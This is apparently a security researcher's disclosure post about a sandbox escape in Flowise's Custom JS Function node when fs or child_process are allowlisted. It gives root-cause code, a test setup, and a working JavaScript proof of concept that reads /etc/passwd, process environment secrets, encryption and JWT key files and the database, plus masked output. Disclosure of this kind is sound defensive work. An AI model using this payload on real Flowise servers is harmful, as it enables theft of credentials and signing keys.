June 22, 2026
Remote Code Execution via Custom JS Function in Flowise
During a security review of Flowise v3.1.1, I identified a path that allows authenticated users capable of creating chatflows to achieve…

By Ajith Prabhu
4 min read
During a security review of Flowise v3.1.1, I identified a path that allows authenticated users capable of creating chatflows to achieve arbitrary server-side code execution when dangerous Node.js built-in modules are exposed through the TOOL_FUNCTION_BUILTIN_DEP configuration option.
By exposing modules such as fs or child_process, workflow authors can:
- Read arbitrary files from the server
- Access Flowise encryption keys
- Extract JWT and session secrets
- Read application databases
- Access stored credentials
- Execute operating system commands
The Flowise security team reviewed the report and classified the behavior as working as intended, stating that dangerous modules are not enabled by default, although the project's .env.example file included TOOL_FUNCTION_BUILTIN_DEP=crypto,fs as a sample configuration at the time of testing.
This article documents the technical details behind the finding, the resulting impact, and why organizations operating shared Flowise deployments should carefully evaluate the trust assumptions introduced by this configuration.
Introduction
Flowise provides a powerful feature called Custom JS Function, allowing users to execute JavaScript directly within a chatflow.
Under the hood, Flowise executes this code within a NodeVM sandbox and selectively exposes Node.js built-in modules through an allowlist.
At first glance, this appears to provide a reasonable security boundary:
- Users can execute custom logic.
- The runtime is sandboxed.
- Access to sensitive Node.js functionality is restricted.
However, while reviewing the deployment configuration, I observed that the example environment file (.env.example) contained the following sample value:
TOOL_FUNCTION_BUILTIN_DEP=crypto,fsTOOL_FUNCTION_BUILTIN_DEP=crypto,fsThis immediately raised an interesting question:
_What happens when dangerous modules are added to the sandbox?_
The answer turned out to be straightforward.
The sandbox boundary effectively disappears.
Root Cause Analysis
The relevant implementation exists within Flowise's executeJavaScriptCode() functionality.
The built-in module allowlist is constructed using the following logic:
const builtinDeps = process.env.TOOL_FUNCTION_BUILTIN_DEP
? defaultAllowBuiltInDep.concat(
process.env.TOOL_FUNCTION_BUILTIN_DEP.split(',')
)
: defaultAllowBuiltInDepconst builtinDeps = process.env.TOOL_FUNCTION_BUILTIN_DEP
? defaultAllowBuiltInDep.concat(
process.env.TOOL_FUNCTION_BUILTIN_DEP.split(',')
)
: defaultAllowBuiltInDepAny modules specified through TOOL_FUNCTION_BUILTIN_DEP are appended directly to the NodeVM allowlist.
From a security perspective, the NodeVM sandbox remains only as restrictive as the modules exposed to it. Once privileged Node.js functionality is added to the allowlist, the sandbox no longer prevents access to the underlying capability.
Examples include:
TOOL_FUNCTION_BUILTIN_DEP=crypto,fs
TOOL_FUNCTION_BUILTIN_DEP=crypto,fs,child_processTOOL_FUNCTION_BUILTIN_DEP=crypto,fs
TOOL_FUNCTION_BUILTIN_DEP=crypto,fs,child_processNo validation, filtering, capability reduction, or additional restrictions are applied before the modules become available inside the sandbox.
As a result, the security boundary enforced by NodeVM becomes entirely dependent on which modules are exposed.
Once fs is available, filesystem access becomes available.
Once child_process is available, command execution becomes available.
At that point, the sandbox no longer provides meaningful protection against access to underlying server resources.
Building a Test Environment
To validate the behavior, I deployed Flowise using the following configuration:
docker run -d \
--name flowise-test \
-p 3000:3000 \
-e FLOWISE_USERNAME=admin \
-e FLOWISE_PASSWORD=admin123 \
-e TOOL_FUNCTION_BUILTIN_DEP=crypto,fs \
flowiseai/flowise:latestdocker run -d \
--name flowise-test \
-p 3000:3000 \
-e FLOWISE_USERNAME=admin \
-e FLOWISE_PASSWORD=admin123 \
-e TOOL_FUNCTION_BUILTIN_DEP=crypto,fs \
flowiseai/flowise:latestand then followed the below steps
Step 1: Login to Flowise UI
- Open
http://localhost:3000in a browser - Complete the initial organization setup and login with registered credentials
Step 2: Create a Chatflow with a Custom JS Function Node
- Click on the node to open its editor
- In the "Output" dropdown, select "Ending Node"
- In the "Javascript Function" code editor, paste the following:
const fs = require('fs');
const path = require('path');
let output = '=== REMOTE CODE EXECUTION SUCCESSFUL ===\n\n';
// 1. Read /etc/passwd to prove arbitrary file read
output += '--- /etc/passwd (first 5 lines) ---\n';
output += fs.readFileSync('/etc/passwd', 'utf8').split('\n').slice(0,5).join('\n');
output += '\n\n';
// 2. Read process environment (contains admin credentials)
output += '--- Sensitive Environment Variables ---\n';
try {
const env = fs.readFileSync('/proc/1/environ', 'utf8');
env.split('\x00').forEach(line => {
if (line.match(/FLOWISE|PASSWORD|SECRET|KEY|TOKEN/i)) {
output += line + '\n';
}
});
} catch(e) { output += 'Error: ' + e.message + '\n'; }
output += '\n';
// 3. Read all Flowise cryptographic secrets
output += '--- Flowise Cryptographic Secrets ---\n';
try {
const dir = '/root/.flowise';
fs.readdirSync(dir).filter(f => f.endsWith('.key')).forEach(f => {
output += f + ': ' + fs.readFileSync(path.join(dir, f), 'utf8').trim() + '\n';
});
} catch(e) { output += 'Error: ' + e.message + '\n'; }
output += '\n';
// 4. Prove database access
output += '--- Database Access ---\n';
try {
const dbPath = '/root/.flowise/database.sqlite';
const stats = fs.statSync(dbPath);
output += 'database.sqlite size: ' + stats.size + ' bytes\n';
const fd = fs.openSync(dbPath, 'r');
const buf = Buffer.alloc(16);
fs.readSync(fd, buf, 0, 16, 0);
fs.closeSync(fd);
output += 'SQLite header: ' + buf.toString('utf8') + '\n';
} catch(e) { output += 'Error: ' + e.message + '\n'; }
return output;const fs = require('fs');
const path = require('path');
let output = '=== REMOTE CODE EXECUTION SUCCESSFUL ===\n\n';
// 1. Read /etc/passwd to prove arbitrary file read
output += '--- /etc/passwd (first 5 lines) ---\n';
output += fs.readFileSync('/etc/passwd', 'utf8').split('\n').slice(0,5).join('\n');
output += '\n\n';
// 2. Read process environment (contains admin credentials)
output += '--- Sensitive Environment Variables ---\n';
try {
const env = fs.readFileSync('/proc/1/environ', 'utf8');
env.split('\x00').forEach(line => {
if (line.match(/FLOWISE|PASSWORD|SECRET|KEY|TOKEN/i)) {
output += line + '\n';
}
});
} catch(e) { output += 'Error: ' + e.message + '\n'; }
output += '\n';
// 3. Read all Flowise cryptographic secrets
output += '--- Flowise Cryptographic Secrets ---\n';
try {
const dir = '/root/.flowise';
fs.readdirSync(dir).filter(f => f.endsWith('.key')).forEach(f => {
output += f + ': ' + fs.readFileSync(path.join(dir, f), 'utf8').trim() + '\n';
});
} catch(e) { output += 'Error: ' + e.message + '\n'; }
output += '\n';
// 4. Prove database access
output += '--- Database Access ---\n';
try {
const dbPath = '/root/.flowise/database.sqlite';
const stats = fs.statSync(dbPath);
output += 'database.sqlite size: ' + stats.size + ' bytes\n';
const fd = fs.openSync(dbPath, 'r');
const buf = Buffer.alloc(16);
fs.readSync(fd, buf, 0, 16, 0);
fs.closeSync(fd);
output += 'SQLite header: ' + buf.toString('utf8') + '\n';
} catch(e) { output += 'Error: ' + e.message + '\n'; }
return output;Click "Save" (the chatflow is now deployed)
Step 3: Execute
- Type any message (e.g., "Hello") and press Enter
- The Custom JS Function executes and returns all server secrets as the chat response
Output captured from PoC
--- /etc/passwd (first 5 lines) ---
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
--- Sensitive Environment Variables ---
FLOWISE_PASSWORD=admin123
FLOWISE_USERNAME=admin
--- Flowise Cryptographic Secrets ---
encryption.key: xxxxxxxxxxxxxx
express_session_secret.key: xxxxxxxxxxxxxxx
jwt_audience.key: flowise
jwt_auth_token_secret.key: xxxxxxxx
jwt_issuer.key: flowise
jwt_refresh_token_secret.key: xxxxxxxxxxxxxxxxxxxxx
token_hash_secret.key: xxxxxxxxxxxxxx
--- Database Access ---
database.sqlite size: 385024 bytes
SQLite header: SQLite format 3--- /etc/passwd (first 5 lines) ---
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
--- Sensitive Environment Variables ---
FLOWISE_PASSWORD=admin123
FLOWISE_USERNAME=admin
--- Flowise Cryptographic Secrets ---
encryption.key: xxxxxxxxxxxxxx
express_session_secret.key: xxxxxxxxxxxxxxx
jwt_audience.key: flowise
jwt_auth_token_secret.key: xxxxxxxx
jwt_issuer.key: flowise
jwt_refresh_token_secret.key: xxxxxxxxxxxxxxxxxxxxx
token_hash_secret.key: xxxxxxxxxxxxxx
--- Database Access ---
database.sqlite size: 385024 bytes
SQLite header: SQLite format 3At this point, the distinction between:
- Workflow author
- Server administrator
effectively disappears.
The Custom JS Function node becomes a direct path to operating system level execution.
Why This Finding Is Interesting
The most interesting aspect of this research is not the existence of code execution itself.
The more interesting question is:
Who is expected to have access to that code execution capability?
In many organizations, the ability to create workflows is not considered equivalent to server administration privileges.
Developers, analysts, automation engineers, and AI practitioners may all be allowed to create workflows.
Those same users are not necessarily expected to:
- Read server files
- Access application secrets
- Extract encryption keys
- Execute operating system commands
Yet exposing powerful modules such as fs or child_process effectively grants those capabilities.
The trust boundary shifts dramatically.
What begins as a workflow-authoring permission becomes access to underlying platform resources.
Existing Security Controls Make This More Interesting
One detail that stood out during analysis was Flowise's treatment of HTTP functionality.
Flowise already wraps modules such as axios and fetch with security-aware implementations designed to mitigate SSRF risks.
This is a sensible design choice.
It demonstrates recognition that exposing functionality to sandboxed code does not necessarily mean exposing unrestricted access to that functionality.
The same principle could potentially be applied to other high-risk capabilities.
Filesystem access, process execution, and network functionality are all examples where additional guardrails could significantly reduce the blast radius available to workflow authors.
Vendor Response
The finding was reported to the Flowise security team.
After review, the team classified the behavior as working as intended.
Their rationale was:
- Dangerous modules are not enabled by default.
- Administrators must explicitly expose them.
- Creating the malicious chatflow requires authenticated access.
- Similar vulnerabilities in other products often involve insecure default behavior, whereas Flowise requires deliberate administrator configuration.
The Flowise team also agreed that the example configuration should not encourage enabling dangerous modules such as fs, and indicated that documentation improvements willbe made.
Final Thoughts
Whether this behavior is classified as a vulnerability, a dangerous configuration, or an expected consequence of administrator choice ultimately depends on the threat model being applied.
What is less debatable is the resulting capability.
Once modules such as fs or child_process are exposed, workflow authors gain direct access to resources far beyond the logical boundaries of a chatflow.
In practice, the distinction between workflow author and server administrator becomes increasingly difficult to maintain.
Organizations deploying Flowise should therefore carefully evaluate which modules are exposed through TOOL_FUNCTION_BUILTIN_DEP and whether users capable of creating Custom JS Functions are also trusted with access to the underlying server.
Security boundaries are often defined not by the sandbox itself, but by the assumptions made when configuring it.
Disclosure Timeline
- Issue identified — March 30 2026
- Report submitted to Flowise — March 30 2026
- Vendor reviewed report and classified behavior as working as intended — March 30 2026
- Follow up discussions and vendor approved public disclosure — April 3 2026
- Research published — 22 June 2026